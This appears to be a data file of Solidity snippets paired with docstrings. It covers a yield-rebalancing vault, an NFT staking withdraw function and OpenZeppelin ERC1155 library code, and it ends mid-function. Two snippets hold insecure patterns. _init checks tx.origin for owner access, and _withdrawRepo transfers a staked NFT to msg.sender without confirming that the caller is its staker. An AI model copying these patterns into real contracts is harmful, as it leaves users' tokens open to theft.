if (balance == 0 && maxUnlentPerc > 0) {
totalInUnderlying = totalInUnderlying.sub(maxUnlentBalance);
}
(uint256[] memory toMintAllocations, uint256 totalToMint, bool lowLiquidity) = _redeemAllNeeded(
amounts,
// calculate new allocations given the total (not counting unlent balance)
_amountsFromAllocations(rebalancerLastAllocations, totalInUnderlying)
);
// if some protocol has liquidity that we should redeem, we do not update
// lastAllocations to force another rebalance next time
if (!lowLiquidity) {
// Update lastAllocations with rebalancerLastAllocations
delete lastAllocations;
lastAllocations = rebalancerLastAllocations;
}
uint256 totalRedeemd = _contractBalanceOf(token);
if (totalRedeemd <= maxUnlentBalance) {
return false;
}
// Do not mint directly using toMintAllocations check with totalRedeemd
uint256[] memory tempAllocations = new uint256[](toMintAllocations.length);
for (uint256 i = 0; i < toMintAllocations.length; i++) {
// Calc what would have been the correct allocations percentage if all was available
tempAllocations[i] = toMintAllocations[i].mul(FULL_ALLOC).div(totalToMint);
}
// partial amounts
_mintWithAmounts(tempAllocations, totalRedeemd.sub(maxUnlentBalance));
emit Rebalance(msg.sender, totalInUnderlying.add(maxUnlentBalance));
return true; // hasRebalanced
}
/**
* Redeem unclaimed governance tokens and update governance global index and user index if needed
* if called during redeem it will send all gov tokens accrued by a user to the user
*
* @param _to : user address
*/
function _redeemGovTokens(address _to) internal {
_redeemGovTokensInternal(_to, new bool[](govTokens.length));
}
/**
* Redeem unclaimed governance tokens and update governance global index and user index if needed
* if called during redeem it will send all gov tokens accrued by a user to the user
*
* @param _to : user address
* @param _skipGovTokenRedeem : array of flag for redeeming or not gov tokens
*/
function _redeemGovTokensInternal(address _to, bool[] memory _skipGovTokenRedeem) internal {
address[] memory _govTokens = govTokens;
if (_govTokens.length == 0) {
return;
}
uint256 supply = totalSupply();
uint256 usrBal = balanceOf(_to);
address govToken;
if (supply > 0) {
for (uint256 i = 0; i < _govTokens.length; i++) {
govToken = _govTokens[i];
_redeemGovTokensFromProtocol(govToken);
// get current gov token balance
uint256 govBal = _contractBalanceOf(govToken);
if (govBal > 0) {
// update global index with ratio of govTokens per idleToken
govTokensIndexes[govToken] = govTokensIndexes[govToken].add(
// check how much gov tokens for each idleToken we gained since last update
govBal.sub(govTokensLastBalances[govToken]).mul(ONE_18).div(supply)
);
// update global var with current govToken balance
govTokensLastBalances[govToken] = govBal;
}
if (usrBal > 0) {
uint256 usrIndex = usersGovTokensIndexes[govToken][_to];
// check if user has accrued something
uint256 delta = govTokensIndexes[govToken].sub(usrIndex);
if (delta != 0) {
uint256 share = usrBal.mul(delta).div(ONE_18);
uint256 bal = _contractBalanceOf(govToken);
// To avoid rounding issue
if (share > bal) {
share = bal;
}
if (_skipGovTokenRedeem[i]) { // -> gift govTokens[i] accrued to the pool
// update global index with ratio of govTokens per idleToken
govTokensIndexes[govToken] = govTokensIndexes[govToken].add(
// check how much gov tokens for each idleToken we gained since last update
share.mul(ONE_18).div(supply.sub(usrBal))
);
} else {
uint256 feeDue;
// no fee for IDLE governance token
if (feeAddress != address(0) && fee > 0 && govToken != IDLE) {
feeDue = share.mul(fee).div(FULL_ALLOC);
// Transfer gov token fee to feeAddress
_transferTokens(govToken, feeAddress, feeDue);
}
// Transfer gov token to user
_transferTokens(govToken, _to, share.sub(feeDue));
// Update last balance
govTokensLastBalances[govToken] = _contractBalanceOf(govToken);
}
}
}
// save current index for this gov token
usersGovTokensIndexes[govToken][_to] = govTokensIndexes[govToken];
}
}
}
/**
* Redeem a specific gov token
*
* @param _govToken : address of the gov token to redeem
*/
function _redeemGovTokensFromProtocol(address _govToken) internal {
// In case new Gov tokens will be supported this should be updated
if (_govToken == COMP || _govToken == IDLE || _govToken == stkAAVE) {
address[] memory holders = new address[](1);
holders[0] = address(this);
if (_govToken == IDLE) {
// For IDLE, the distribution is done only to IdleTokens, so `holders` and
// `tokens` parameters are the same and equal to address(this)
IdleController(idleController).claimIdle(holders, holders);
return;
}
address[] memory tokens = new address[](1);
if (_govToken == stkAAVE && aToken != address(0)) {
tokens[0] = aToken;
IAaveIncentivesController _ctrl = IAaveIncentivesController(AToken(tokens[0]).getIncentivesController());
_ctrl.claimRewards(tokens, _ctrl.getUserUnclaimedRewards(address(this)), address(this));
return;
}
if (cToken != address(0)) {
tokens[0] = cToken;
Comptroller(CERC20(tokens[0]).comptroller()).claimComp(holders, tokens, false, true);
}
}
}
/**
* Update receiver userAvgPrice paid for each idle token,
* receiver will pay fees accrued
*
* @param usr : user that should have balance update
* @param qty : new amount deposited / transferred, in idleToken
* @param price : sender userAvgPrice
*/
function _updateUserFeeInfo(address usr, uint256 qty, uint256 price) private {
uint256 usrBal = balanceOf(usr);
// ((avgPrice * oldBalance) + (senderAvgPrice * newQty)) / totBalance
userAvgPrices[usr] = userAvgPrices[usr].mul(usrBal.sub(qty)).add(price.mul(qty)).div(usrBal);
}
/**
* Calculate fee in underlyings and send them to feeAddress
*
* @param amount : in idleTokens
* @param redeemed : in underlying
* @param currPrice : current idleToken price
* @return : net value in underlying
*/
function _getFee(uint256 amount, uint256 redeemed, uint256 currPrice) internal returns (uint256) {
uint256 avgPrice = userAvgPrices[msg.sender];
if (currPrice < avgPrice) {
return redeemed;
}
// 10**23 -> ONE_18 * FULL_ALLOC
uint256 feeDue = amount.mul(currPrice.sub(avgPrice)).mul(fee).div(10**23);
_transferTokens(token, feeAddress, feeDue);
return redeemed.sub(feeDue);
}
/**
* Mint specific amounts of protocols tokens
*
* @param allocations : array of amounts to be minted
* @param total : total amount
* @return : net value in underlying
*/
function _mintWithAmounts(uint256[] memory allocations, uint256 total) internal {
// mint for each protocol and update currentTokensUsed
uint256[] memory protocolAmounts = _amountsFromAllocations(allocations, total);
uint256 currAmount;
address protWrapper;
address[] memory _tokens = allAvailableTokens;
for (uint256 i = 0; i < protocolAmounts.length; i++) {
currAmount = protocolAmounts[i];
if (currAmount != 0) {
protWrapper = protocolWrappers[_tokens[i]];
// Transfer _amount underlying token (eg. DAI) to protWrapper
_transferTokens(token, protWrapper, currAmount);
ILendingProtocol(protWrapper).mint();
}
}
}
/**
* Calculate amounts from percentage allocations (100000 => 100%)
*
* @param allocations : array of protocol allocations in percentage
* @param total : total amount
* @return : array with amounts
*/
function _amountsFromAllocations(uint256[] memory allocations, uint256 total)
internal pure returns (uint256[] memory newAmounts) {
newAmounts = new uint256[](allocations.length);
uint256 currBalance;
uint256 allocatedBalance;
for (uint256 i = 0; i < allocations.length; i++) {
if (i == allocations.length - 1) {
newAmounts[i] = total.sub(allocatedBalance);
} else {
currBalance = total.mul(allocations[i]).div(FULL_ALLOC);
allocatedBalance = allocatedBalance.add(currBalance);
newAmounts[i] = currBalance;
}
}
return newAmounts;
}
/**
* Redeem all underlying needed from each protocol
*
* @param amounts : array with current allocations in underlying
* @param newAmounts : array with new allocations in underlying
* @return toMintAllocations : array with amounts to be minted
* @return totalToMint : total amount that needs to be minted
*/
function _redeemAllNeeded(
uint256[] memory amounts,
uint256[] memory newAmounts
) internal returns (
uint256[] memory toMintAllocations,
uint256 totalToMint,
bool lowLiquidity
) {
toMintAllocations = new uint256[](amounts.length);
ILendingProtocol protocol;
uint256 currAmount;
uint256 newAmount;
address currToken;
address[] memory _tokens = allAvailableTokens;
// check the difference between amounts and newAmounts
for (uint256 i = 0; i < amounts.length; i++) {
currToken = _tokens[i];
newAmount = newAmounts[i];
currAmount = amounts[i];
protocol = ILendingProtocol(protocolWrappers[currToken]);
if (currAmount > newAmount) {
uint256 toRedeem = currAmount.sub(newAmount);
uint256 availableLiquidity = protocol.availableLiquidity();
if (availableLiquidity < toRedeem) {
lowLiquidity = true;
toRedeem = availableLiquidity;
}
// redeem the difference
_redeemProtocolTokens(
currToken,
// convert amount from underlying to protocol token
toRedeem.mul(ONE_18).div(protocol.getPriceInToken())
);
// tokens are now in this contract
} else {
toMintAllocations[i] = newAmount.sub(currAmount);
totalToMint = totalToMint.add(toMintAllocations[i]);
}
}
}
/**
* Get the contract balance of every protocol currently used
*
* @return amounts : array with all amounts for each protocol in order,
* eg [amountCompoundInUnderlying, amountFulcrumInUnderlying]
* @return total : total AUM in underlying
*/
function _getCurrentAllocations() internal view
returns (uint256[] memory amounts, uint256 total) {
// Get balance of every protocol implemented
address currentToken;
address[] memory _tokens = allAvailableTokens;
uint256 tokensLen = _tokens.length;
amounts = new uint256[](tokensLen);
for (uint256 i = 0; i < tokensLen; i++) {
currentToken = _tokens[i];
amounts[i] = _getPriceInToken(protocolWrappers[currentToken]).mul(
_contractBalanceOf(currentToken)
).div(ONE_18);
total = total.add(amounts[i]);
}
}
/**
* Get the current pool value in underlying
*
* @return total : total AUM in underlying
*/
function _getCurrentPoolValue() internal view
returns (uint256 total) {
// Get balance of every protocol implemented
address currentToken;
address[] memory _tokens = allAvailableTokens;
for (uint256 i = 0; i < _tokens.length; i++) {
currentToken = _tokens[i];
total = total.add(_getPriceInToken(protocolWrappers[currentToken]).mul(
_contractBalanceOf(currentToken)
).div(ONE_18));
}
// add unlent balance
total = total.add(_contractBalanceOf(token));
}
/**
* Get contract balance of _token
*
* @param _token : address of the token to read balance
* @return total : balance of _token in this contract
*/
function _contractBalanceOf(address _token) private view returns (uint256) {
// Original implementation:
//
// return IERC20(_token).balanceOf(address(this));
// Optimized implementation inspired by uniswap https://github.com/Uniswap/uniswap-v3-core/blob/main/contracts/UniswapV3Pool.sol#L144
//
// 0x70a08231 -> selector for 'function balanceOf(address) returns (uint256)'
(bool success, bytes memory data) =
_token.staticcall(abi.encodeWithSelector(0x70a08231, address(this)));
require(success);
return abi.decode(data, (uint256));
}
/**
* Get price of 1 protocol token in underlyings
*
* @param _token : address of the protocol token
* @return price : price of protocol token
*/
function _getPriceInToken(address _token) private view returns (uint256) {
return ILendingProtocol(_token).getPriceInToken();
}
/**
* Check that no mint has been made in the same block from the same EOA
*/
function _checkMintRedeemSameTx() private view {
require(keccak256(abi.encodePacked(tx.origin, block.number)) != _minterBlock, "9");
}
// ILendingProtocols calls
/**
* Redeem underlying tokens through protocol wrapper
*
* @param _amount : amount of `_token` to redeem
* @param _token : protocol token address
* @return tokens : new tokens minted
*/
function _redeemProtocolTokens(address _token, uint256 _amount)
internal
returns (uint256 tokens) {
if (_amount != 0) {
// Transfer _amount of _protocolToken (eg. cDAI) to _wrapperAddr
address _wrapperAddr = protocolWrappers[_token];
_transferTokens(_token, _wrapperAddr, _amount);
tokens = ILendingProtocol(_wrapperAddr).redeem(address(this));
}
}
function _transferTokens(address _token, address _to, uint256 _amount) internal {
IERC20(_token).safeTransfer(_to, _amount);
}
}
|
flashLoanFee = 80; 0.08%
|
function _init(address _tokenHelper, address _aToken, address _newOracle) external {
require(tx.origin == owner(), '6');
tokenHelper = _tokenHelper;
aToken = _aToken;
oracle = _newOracle;
}
| 6,126,554 |
./full_match/80001/0x3D04f89bdAAB042bB794A6112b6678f97675Ed98/sources/contracts/Contract.sol
|
Withdraw logic. Override to add custom logic.
|
function _withdrawRepo(uint256[] calldata _tokenIds) internal virtual {
require(_tokenIds.length == 1, "Please only send 1 token at a time");
address _stakerAddress = stakerAddress[_tokenIds[0]];
uint256 _amountStaked = stakers[_stakerAddress].amountStaked;
uint256 len = _tokenIds.length;
require(len != 0, "Withdrawing 0 tokens");
require(_amountStaked >= len, "Withdrawing more than staked");
address _stakingToken = stakingToken;
_cancelUnclaimedRewardsForStaker(_stakerAddress);
if (_amountStaked == len) {
address[] memory _stakersArray = stakersArray;
for (uint256 i = 0; i < _stakersArray.length; ++i) {
if (_stakersArray[i] == _stakerAddress) {
stakersArray[i] = _stakersArray[_stakersArray.length - 1];
stakersArray.pop();
break;
}
}
}
stakers[_stakerAddress].amountStaked -= len;
for (uint256 i = 0; i < len; ++i) {
stakerAddress[_tokenIds[i]] = address(0);
IERC721(_stakingToken).safeTransferFrom(address(this), msg.sender, _tokenIds[i]);
}
emit TokensWithdrawn(_stakerAddress, _tokenIds);
}
| 871,823 |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155).interfaceId
|| interfaceId == type(IERC1155MetadataURI).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
